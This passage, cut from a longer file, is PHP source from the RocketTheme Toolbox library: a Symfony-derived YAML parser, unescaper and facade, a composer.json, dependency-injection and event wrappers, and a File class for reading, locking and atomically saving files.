$e->setParsedLine($this->getRealCurrentLineNb() + 1);
$e->setSnippet($this->currentLine);
throw $e;
}
}
/**
* Parses a block scalar.
*
* @param string $style The style indicator that was used to
begin this block scalar (| or >)
* @param string $chomping The chomping indicator that was used to
begin this block scalar (+ or -)
* @param int $indentation The indentation indicator that was used
to begin this block scalar
*
* @return string The text value
*/
private function parseBlockScalar($style, $chomping = '',
$indentation = 0)
{
$notEOF = $this->moveToNextLine();
if (!$notEOF) {
return '';
}
$isCurrentLineBlank = $this->isCurrentLineBlank();
$blockLines = array();
// leading blank lines are consumed before determining indentation
while ($notEOF && $isCurrentLineBlank) {
// newline only if not EOF
if ($notEOF = $this->moveToNextLine()) {
$blockLines[] = '';
$isCurrentLineBlank = $this->isCurrentLineBlank();
}
}
// determine indentation if not specified
if (0 === $indentation) {
if (self::preg_match('/^ +/', $this->currentLine,
$matches)) {
$indentation = strlen($matches[0]);
}
}
if ($indentation > 0) {
$pattern = sprintf('/^ {%d}(.*)$/', $indentation);
while (
$notEOF && (
$isCurrentLineBlank ||
self::preg_match($pattern, $this->currentLine,
$matches)
)
) {
if ($isCurrentLineBlank &&
strlen($this->currentLine) > $indentation) {
$blockLines[] = substr($this->currentLine,
$indentation);
} elseif ($isCurrentLineBlank) {
$blockLines[] = '';
} else {
$blockLines[] = $matches[1];
}
// newline only if not EOF
if ($notEOF = $this->moveToNextLine()) {
$isCurrentLineBlank = $this->isCurrentLineBlank();
}
}
} elseif ($notEOF) {
$blockLines[] = '';
}
if ($notEOF) {
$blockLines[] = '';
$this->moveToPreviousLine();
} elseif (!$notEOF &&
!$this->isCurrentLineLastLineInDocument()) {
$blockLines[] = '';
}
// folded style
if ('>' === $style) {
$text = '';
$previousLineIndented = false;
$previousLineBlank = false;
for ($i = 0, $blockLinesCount = count($blockLines); $i <
$blockLinesCount; ++$i) {
if ('' === $blockLines[$i]) {
$text .= "\n";
$previousLineIndented = false;
$previousLineBlank = true;
} elseif (' ' === $blockLines[$i][0]) {
$text .= "\n".$blockLines[$i];
$previousLineIndented = true;
$previousLineBlank = false;
} elseif ($previousLineIndented) {
$text .= "\n".$blockLines[$i];
$previousLineIndented = false;
$previousLineBlank = false;
} elseif ($previousLineBlank || 0 === $i) {
$text .= $blockLines[$i];
$previousLineIndented = false;
$previousLineBlank = false;
} else {
$text .= ' '.$blockLines[$i];
$previousLineIndented = false;
$previousLineBlank = false;
}
}
} else {
$text = implode("\n", $blockLines);
}
// deal with trailing newlines
if ('' === $chomping) {
$text = preg_replace('/\n+$/', "\n",
$text);
} elseif ('-' === $chomping) {
$text = preg_replace('/\n+$/', '', $text);
}
return $text;
}
/**
* Returns true if the next line is indented.
*
* @return bool Returns true if the next line is indented, false
otherwise
*/
private function isNextLineIndented()
{
$currentIndentation = $this->getCurrentLineIndentation();
$EOF = !$this->moveToNextLine();
while (!$EOF && $this->isCurrentLineEmpty()) {
$EOF = !$this->moveToNextLine();
}
if ($EOF) {
return false;
}
$ret = $this->getCurrentLineIndentation() >
$currentIndentation;
$this->moveToPreviousLine();
return $ret;
}
/**
* Returns true if the current line is blank or if it is a comment
line.
*
* @return bool Returns true if the current line is empty or if it is a
comment line, false otherwise
*/
private function isCurrentLineEmpty()
{
return $this->isCurrentLineBlank() ||
$this->isCurrentLineComment();
}
/**
* Returns true if the current line is blank.
*
* @return bool Returns true if the current line is blank, false
otherwise
*/
private function isCurrentLineBlank()
{
return '' == trim($this->currentLine, ' ');
}
/**
* Returns true if the current line is a comment line.
*
* @return bool Returns true if the current line is a comment line,
false otherwise
*/
private function isCurrentLineComment()
{
//checking explicitly the first char of the trim is faster than
loops or strpos
$ltrimmedLine = ltrim($this->currentLine, ' ');
return '' !== $ltrimmedLine && '#' ===
$ltrimmedLine[0];
}
private function isCurrentLineLastLineInDocument()
{
return ($this->offset + $this->currentLineNb) >=
($this->totalNumberOfLines - 1);
}
/**
* Cleanups a YAML string to be parsed.
*
* @param string $value The input YAML string
*
* @return string A cleaned up YAML string
*/
private function cleanup($value)
{
$value = str_replace(array("\r\n", "\r"),
"\n", $value);
// strip YAML header
$count = 0;
$value = preg_replace('#^\%YAML[: ][\d\.]+.*\n#u',
'', $value, -1, $count);
$this->offset += $count;
// remove leading comments
$trimmedValue = preg_replace('#^(\#.*?\n)+#s',
'', $value, -1, $count);
if (1 == $count) {
// items have been removed, update the offset
$this->offset += substr_count($value, "\n") -
substr_count($trimmedValue, "\n");
$value = $trimmedValue;
}
// remove start of the document marker (---)
$trimmedValue = preg_replace('#^\-\-\-.*?\n#s',
'', $value, -1, $count);
if (1 == $count) {
// items have been removed, update the offset
$this->offset += substr_count($value, "\n") -
substr_count($trimmedValue, "\n");
$value = $trimmedValue;
// remove end of the document marker (...)
$value = preg_replace('#\.\.\.\s*$#', '',
$value);
}
return $value;
}
/**
* Returns true if the next line starts unindented collection.
*
* @return bool Returns true if the next line starts unindented
collection, false otherwise
*/
private function isNextLineUnIndentedCollection()
{
$currentIndentation = $this->getCurrentLineIndentation();
$notEOF = $this->moveToNextLine();
while ($notEOF && $this->isCurrentLineEmpty()) {
$notEOF = $this->moveToNextLine();
}
if (false === $notEOF) {
return false;
}
$ret = $this->getCurrentLineIndentation() ===
$currentIndentation &&
$this->isStringUnIndentedCollectionItem();
$this->moveToPreviousLine();
return $ret;
}
/**
* Returns true if the string is un-indented collection item.
*
* @return bool Returns true if the string is un-indented collection
item, false otherwise
*/
private function isStringUnIndentedCollectionItem()
{
return '-' === rtrim($this->currentLine) || 0 ===
strpos($this->currentLine, '- ');
}
/**
* Tests whether or not the current line is the header of a block
scalar.
*
* @return bool
*/
private function isBlockScalarHeader()
{
return (bool)
self::preg_match('~'.self::BLOCK_SCALAR_HEADER_PATTERN.'$~',
$this->currentLine);
}
/**
* A local wrapper for `preg_match` which will throw a ParseException
if there
* is an internal error in the PCRE engine.
*
* This avoids us needing to check for "false" every time
PCRE is used
* in the YAML engine
*
* @throws ParseException on a PCRE internal error
*
* @see preg_last_error()
*
* @internal
*/
public static function preg_match($pattern, $subject, &$matches =
null, $flags = 0, $offset = 0)
{
if (false === $ret = preg_match($pattern, $subject, $matches,
$flags, $offset)) {
switch (preg_last_error()) {
case PREG_INTERNAL_ERROR:
$error = 'Internal PCRE error.';
break;
case PREG_BACKTRACK_LIMIT_ERROR:
$error = 'pcre.backtrack_limit reached.';
break;
case PREG_RECURSION_LIMIT_ERROR:
$error = 'pcre.recursion_limit reached.';
break;
case PREG_BAD_UTF8_ERROR:
$error = 'Malformed UTF-8 data.';
break;
case PREG_BAD_UTF8_OFFSET_ERROR:
$error = 'Offset doesn\'t correspond to the
begin of a valid UTF-8 code point.';
break;
default:
$error = 'Error.';
}
throw new ParseException($error);
}
return $ret;
}
}
<?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace RocketTheme\Toolbox\Compat\Yaml;
/**
* Unescaper encapsulates unescaping rules for single and double-quoted
* YAML strings.
*
* @author Matthew Lewinski <matthew@lewinski.org>
*
* @internal
*/
class Unescaper
{
/**
* Parser and Inline assume UTF-8 encoding, so escaped Unicode
characters
* must be converted to that encoding.
*
* @deprecated since version 2.5, to be removed in 3.0
*
* @internal
*/
const ENCODING = 'UTF-8';
/**
* Regex fragment that matches an escaped character in a double quoted
string.
*/
const REGEX_ESCAPED_CHARACTER =
'\\\\(x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|U[0-9a-fA-F]{8}|.)';
/**
* Unescapes a single quoted string.
*
* @param string $value A single quoted string
*
* @return string The unescaped string
*/
public function unescapeSingleQuotedString($value)
{
return str_replace('\'\'', '\'',
$value);
}
/**
* Unescapes a double quoted string.
*
* @param string $value A double quoted string
*
* @return string The unescaped string
*/
public function unescapeDoubleQuotedString($value)
{
$self = $this;
$callback = function ($match) use ($self) {
return $self->unescapeCharacter($match[0]);
};
// evaluate the string
return
preg_replace_callback('/'.self::REGEX_ESCAPED_CHARACTER.'/u',
$callback, $value);
}
/**
* Unescapes a character that was found in a double-quoted string.
*
* @param string $value An escaped character
*
* @return string The unescaped character
*
* @internal This method is public to be usable as callback. It should
not
* be used in user code. Should be changed in 3.0.
*/
public function unescapeCharacter($value)
{
switch ($value[1]) {
case '0':
return "\x0";
case 'a':
return "\x7";
case 'b':
return "\x8";
case 't':
return "\t";
case "\t":
return "\t";
case 'n':
return "\n";
case 'v':
return "\xB";
case 'f':
return "\xC";
case 'r':
return "\r";
case 'e':
return "\x1B";
case ' ':
return ' ';
case '"':
return '"';
case '/':
return '/';
case '\\':
return '\\';
case 'N':
// U+0085 NEXT LINE
return "\xC2\x85";
case '_':
// U+00A0 NO-BREAK SPACE
return "\xC2\xA0";
case 'L':
// U+2028 LINE SEPARATOR
return "\xE2\x80\xA8";
case 'P':
// U+2029 PARAGRAPH SEPARATOR
return "\xE2\x80\xA9";
case 'x':
return self::utf8chr(hexdec(substr($value, 2, 2)));
case 'u':
return self::utf8chr(hexdec(substr($value, 2, 4)));
case 'U':
return self::utf8chr(hexdec(substr($value, 2, 8)));
default:
@trigger_error('Not escaping a backslash in a
double-quoted string is deprecated since Symfony 2.8 and will throw a
ParseException in 3.0.', E_USER_DEPRECATED);
return $value;
}
}
/**
* Get the UTF-8 character for the given code point.
*
* @param int $c The unicode code point
*
* @return string The corresponding UTF-8 character
*/
private static function utf8chr($c)
{
if (0x80 > $c %= 0x200000) {
return chr($c);
}
if (0x800 > $c) {
return chr(0xC0 | $c >> 6).chr(0x80 | $c & 0x3F);
}
if (0x10000 > $c) {
return chr(0xE0 | $c >> 12).chr(0x80 | $c >> 6
& 0x3F).chr(0x80 | $c & 0x3F);
}
return chr(0xF0 | $c >> 18).chr(0x80 | $c >> 12 &
0x3F).chr(0x80 | $c >> 6 & 0x3F).chr(0x80 | $c & 0x3F);
}
}
<?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace RocketTheme\Toolbox\Compat\Yaml;
use RocketTheme\Toolbox\Compat\Yaml\Exception\ParseException;
/**
* Yaml offers convenience methods to load and dump YAML.
*
* @author Fabien Potencier <fabien@symfony.com>
*/
class Yaml
{
/**
* Parses YAML into a PHP value.
*
* Usage:
* <code>
* $array = Yaml::parse(file_get_contents('config.yml'));
* print_r($array);
* </code>
*
* As this method accepts both plain strings and file names as an
input,
* you must validate the input before calling this method. Passing a
file
* as an input is a deprecated feature and will be removed in 3.0.
*
* Note: the ability to pass file names to the Yaml::parse method is
deprecated since version 2.2 and will be removed in 3.0. Pass the YAML
contents of the file instead.
*
* @param string $input Path to a YAML file or a
string containing YAML
* @param bool $exceptionOnInvalidType True if an exception must be
thrown on invalid types false otherwise
* @param bool $objectSupport True if object support is
enabled, false otherwise
* @param bool $objectForMap True if maps should return a
stdClass instead of array()
*
* @return mixed The YAML converted to a PHP value
*
* @throws ParseException If the YAML is not valid
*/
public static function parse($input, $exceptionOnInvalidType = false,
$objectSupport = false, $objectForMap = false)
{
// if input is a file, process it
$file = '';
if (false === strpos($input, "\n") &&
is_file($input)) {
@trigger_error('The ability to pass file names to the
'.__METHOD__.' method is deprecated since version 2.2 and will be
removed in 3.0. Pass the YAML contents of the file instead.',
E_USER_DEPRECATED);
if (false === is_readable($input)) {
throw new ParseException(sprintf('Unable to parse
"%s" as the file is not readable.', $input));
}
$file = $input;
$input = file_get_contents($file);
}
$yaml = new Parser();
try {
return $yaml->parse($input, $exceptionOnInvalidType,
$objectSupport, $objectForMap);
} catch (ParseException $e) {
if ($file) {
$e->setParsedFile($file);
}
throw $e;
}
}
}
{
"name": "rockettheme/toolbox",
"type": "library",
"description": "RocketTheme Toolbox Library",
"keywords": ["rockettheme", "php"],
"homepage": "http://www.rockettheme.com",
"license": "MIT",
"require": {
"php": ">=5.4.0",
"ext-json": "*",
"pimple/pimple": "~3.0",
"symfony/yaml": ">2.5",
"symfony/event-dispatcher": ">2.5"
},
"require-dev": {
"phpunit/phpunit": "~6"
},
"autoload": {
"psr-4": {
"RocketTheme\\Toolbox\\ArrayTraits\\":
"ArrayTraits/src",
"RocketTheme\\Toolbox\\Blueprints\\":
"Blueprints/src",
"RocketTheme\\Toolbox\\Compat\\":
"Compat/src",
"RocketTheme\\Toolbox\\DI\\": "DI/src",
"RocketTheme\\Toolbox\\Event\\":
"Event/src",
"RocketTheme\\Toolbox\\File\\": "File/src",
"RocketTheme\\Toolbox\\ResourceLocator\\":
"ResourceLocator/src",
"RocketTheme\\Toolbox\\Session\\":
"Session/src",
"RocketTheme\\Toolbox\\StreamWrapper\\":
"StreamWrapper/src"
}
},
"scripts": {
"test": "vendor/bin/phpunit run unit",
"test-windows": "vendor\\bin\\phpunit run unit"
}
}
<?php
namespace RocketTheme\Toolbox\DI;
use Pimple\Container as BaseContainer;
/**
* Implements Dependency Injection Container.
*
* @package RocketTheme\Toolbox\DI
* @author RocketTheme
* @license MIT
*/
class Container extends BaseContainer
{
}
<?php
namespace RocketTheme\Toolbox\DI;
use \Pimple\ServiceProviderInterface as BaseServiceProviderInterface;
/**
* Defines ServiceProviderInterface.
*
* @package RocketTheme\Toolbox\DI
* @author RocketTheme
* @license MIT
*/
interface ServiceProviderInterface extends BaseServiceProviderInterface
{
}
<?php
namespace RocketTheme\Toolbox\Event;
use RocketTheme\Toolbox\ArrayTraits\ArrayAccess;
use RocketTheme\Toolbox\ArrayTraits\Constructor;
use RocketTheme\Toolbox\ArrayTraits\Export;
use Symfony\Component\EventDispatcher\Event as BaseEvent;
/**
* Implements Symfony Event interface.
*
* @package RocketTheme\Toolbox\Event
* @author RocketTheme
* @license MIT
*/
class Event extends BaseEvent implements \ArrayAccess
{
use ArrayAccess, Constructor, Export;
/**
* @var array
*/
protected $items = [];
}
<?php
namespace RocketTheme\Toolbox\Event;
use Symfony\Component\EventDispatcher\Event as BaseEvent;
use Symfony\Component\EventDispatcher\EventDispatcher as
BaseEventDispatcher;
use Symfony\Component\EventDispatcher\EventDispatcherInterface;
/**
* Implements Symfony EventDispatcher interface.
*
* @package RocketTheme\Toolbox\Event
* @author RocketTheme
* @license MIT
*/
class EventDispatcher extends BaseEventDispatcher implements
EventDispatcherInterface
{
public function dispatch($eventName, BaseEvent $event = null)
{
if (null === $event) {
$event = new Event();
}
return parent::dispatch($eventName, $event);
}
}
<?php
namespace RocketTheme\Toolbox\Event;
use Symfony\Component\EventDispatcher\EventSubscriberInterface as
BaseEventSubscriberInterface;
/**
* Defines EventSubscriberInterface.
*
* @package RocketTheme\Toolbox\Event
* @author RocketTheme
* @license MIT
*/
interface EventSubscriberInterface extends BaseEventSubscriberInterface
{
}
<?php
namespace RocketTheme\Toolbox\File;
/**
* Implements Universal File Reader.
*
* @package RocketTheme\Toolbox\File
* @author RocketTheme
* @license MIT
*/
class File implements FileInterface
{
/**
* @var string
*/
protected $filename;
/**
* @var resource
*/
protected $handle;
/**
* @var bool|null
*/
protected $locked;
/**
* @var string
*/
protected $extension;
/**
* @var string Raw file contents.
*/
protected $raw;
/**
* @var array Parsed file contents.
*/
protected $content;
/**
* @var array
*/
protected $settings = [];
/**
* @var array|File[]
*/
static protected $instances = [];
/**
* Get file instance.
*
* @param string $filename
* @return static
*/
public static function instance($filename)
{
if (!\is_string($filename) && $filename) {
throw new \InvalidArgumentException('Filename should be
non-empty string');
}
if (!isset(static::$instances[$filename])) {
static::$instances[$filename] = new static;
static::$instances[$filename]->init($filename);
}
return static::$instances[$filename];
}
/**
* Set/get settings.
*
* @param array $settings
* @return array
*/
public function settings(array $settings = null)
{
if ($settings !== null) {
$this->settings = $settings;
}
return $this->settings;
}
/**
* Get setting.
*
* @param string $setting
* @param mixed $default
* @return mixed
*/
public function setting($setting, $default = null)
{
return isset($this->settings[$setting]) ?
$this->settings[$setting] : $default;
}
/**
* Prevent constructor from being used.
*/
protected function __construct()
{
}
/**
* Prevent cloning.
*/
protected function __clone()
{
//Me not like clones! Me smash clones!
}
/**
* Set filename.
*
* @param $filename
*/
protected function init($filename)
{
$this->filename = $filename;
}
/**
* Free the file instance.
*/
public function free()
{
if ($this->locked) {
$this->unlock();
}
$this->content = null;
$this->raw = null;
unset(static::$instances[$this->filename]);
}
/**
* Get/set the file location.
*
* @param string $var
* @return string
*/
public function filename($var = null)
{
if ($var !== null) {
$this->filename = $var;
}
return $this->filename;
}
/**
* Return basename of the file.
*
* @return string
*/
public function basename()
{
return basename($this->filename, $this->extension);
}
/**
* Check if file exits.
*
* @return bool
*/
public function exists()
{
return is_file($this->filename);
}
/**
* Return file modification time.
*
* @return int|bool Timestamp or false if file doesn't exist.
*/
public function modified()
{
return is_file($this->filename) ? filemtime($this->filename)
: false;
}
/**
* Lock file for writing. You need to manually unlock().
*
* @param bool $block For non-blocking lock, set the parameter to
false.
* @return bool
* @throws \RuntimeException
*/
public function lock($block = true)
{
if (!$this->handle) {
if (!$this->mkdir(\dirname($this->filename))) {
throw new \RuntimeException('Creating directory failed
for ' . $this->filename);
}
$this->handle = @fopen($this->filename, 'cb+');
if (!$this->handle) {
$error = error_get_last();
throw new \RuntimeException("Opening file for writing
failed on error {$error['message']}");
}
}
$lock = $block ? LOCK_EX : LOCK_EX | LOCK_NB;
// Some filesystems do not support file locks, only fail if another
process holds the lock.
$this->locked = flock($this->handle, $lock, $wouldblock) ||
!$wouldblock;
return $this->locked;
}
/**
* Returns true if file has been locked for writing.
*
* @return bool|null True = locked, false = failed, null = not locked.
*/
public function locked()
{
return $this->locked;
}
/**
* Unlock file.
*
* @return bool
*/
public function unlock()
{
if (!$this->handle) {
return false;
}
if ($this->locked) {
flock($this->handle, LOCK_UN);
$this->locked = null;
}
fclose($this->handle);
$this->handle = null;
return true;
}
/**
* Check if file can be written.
*
* @return bool
*/
public function writable()
{
return file_exists($this->filename) ?
is_writable($this->filename) && is_file($this->filename) :
$this->writableDir(\dirname($this->filename));
}
/**
* (Re)Load a file and return RAW file contents.
*
* @return string
*/
public function load()
{
$this->raw = $this->exists() ? (string)
file_get_contents($this->filename) : '';
$this->content = null;
return $this->raw;
}
/**
* Get/set raw file contents.
*
* @param string $var
* @return string
*/
public function raw($var = null)
{
if ($var !== null) {
$this->raw = (string) $var;
$this->content = null;
}
if (!\is_string($this->raw)) {
$this->raw = $this->load();
}
return $this->raw;
}
/**
* Get/set parsed file contents.
*
* @param mixed $var
* @return string|array
* @throws \RuntimeException
*/
public function content($var = null)
{
if ($var !== null) {
$this->content = $this->check($var);
// Update RAW, too.
$this->raw = $this->encode($this->content);
} elseif ($this->content === null) {
// Decode RAW file.
try {
$this->content = $this->decode($this->raw());
} catch (\Exception $e) {
throw new \RuntimeException(sprintf('Failed to read
%s: %s', $this->filename, $e->getMessage()), 500, $e);
}
}
return $this->content;
}
/**
* Save file.
*
* @param mixed $data Optional data to be saved, usually array.
* @throws \RuntimeException
*/
public function save($data = null)
{
if ($data !== null) {
$this->content($data);
}
$filename = $this->filename;
$dir = \dirname($filename);
if (!$this->mkdir($dir)) {
throw new \RuntimeException('Creating directory failed for
' . $filename);
}
try {
if ($this->handle) {
$tmp = true;
// As we are using non-truncating locking, make sure that
the file is empty before writing.
if (@ftruncate($this->handle, 0) === false ||
@fwrite($this->handle, $this->raw()) === false) {
// Writing file failed, throw an error.
$tmp = false;
}
} else {
// Create file with a temporary name and rename it to make
the save action atomic.
$tmp = $this->tempname($filename);
if (file_put_contents($tmp, $this->raw()) === false) {
$tmp = false;
} elseif (@rename($tmp, $filename) === false) {
@unlink($tmp);
$tmp = false;
}
}
} catch (\Exception $e) {
$tmp = false;
}
if ($tmp === false) {
throw new \RuntimeException('Failed to save file ' .
$filename);
}
// Touch the directory as well, thus marking it modified.
@touch($dir);
}
/**
* Rename file in the filesystem if it exists.
*
* @param $filename
* @return bool
*/
public function rename($filename)
{
if ($this->exists() && !@rename($this->filename,
$filename)) {
return false;
}
unset(static::$instances[$this->filename]);
static::$instances[$filename] = $this;
$this->filename = $filename;
return true;
}
/**
* Delete file from filesystem.
*
* @return bool
*/
public function delete()
{
return unlink($this->filename);
}
/**
* Check contents and make sure it is in correct format.
*
* Override in derived class.
*
* @param string $var
* @return string
*/
protected function check($var)
{
return (string) $var;
}
/**
* Encode contents into RAW string.
*
* Override in derived class.
*
* @param string $var
* @return string
*/
protected function encode($var)
{
return (string) $var;
}
/**
* Decode RAW string into contents.
*
* Override in derived class.
*
* @param string $var
* @return string mixed
*/
protected function decode($var)
{
return (string) $var;
}
/**
* @param string $dir
*/
private function mkdir($dir)
{
// Silence error for open_basedir; should fail in mkdir instead.
if (@is_dir($dir)) {
return true;
}
$success = @mkdir($dir, 0777, true);
if (!$success) {
// Take yet another look, make sure that the folder
doesn't exist.
clearstatcache(true, $dir);
if (!@is_dir($dir)) {
return false;
}
}
return true;
}
/**
* @param string $dir
* @return bool
* @internal
*/
protected function writableDir($dir)
{
if ($dir && !file_exists($dir)) {
return $this->writableDir(\dirname($dir));
}
return $dir && is_dir($dir) && is_writable($dir);
}
/**
* @param string $filename
* @param int $length
* @return string
*/
protected function tempname($filename, $length = 5)
{
do {
$test = $filename .
substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'),
0, $length);
} while (file_exists($test));
return $test;
}
}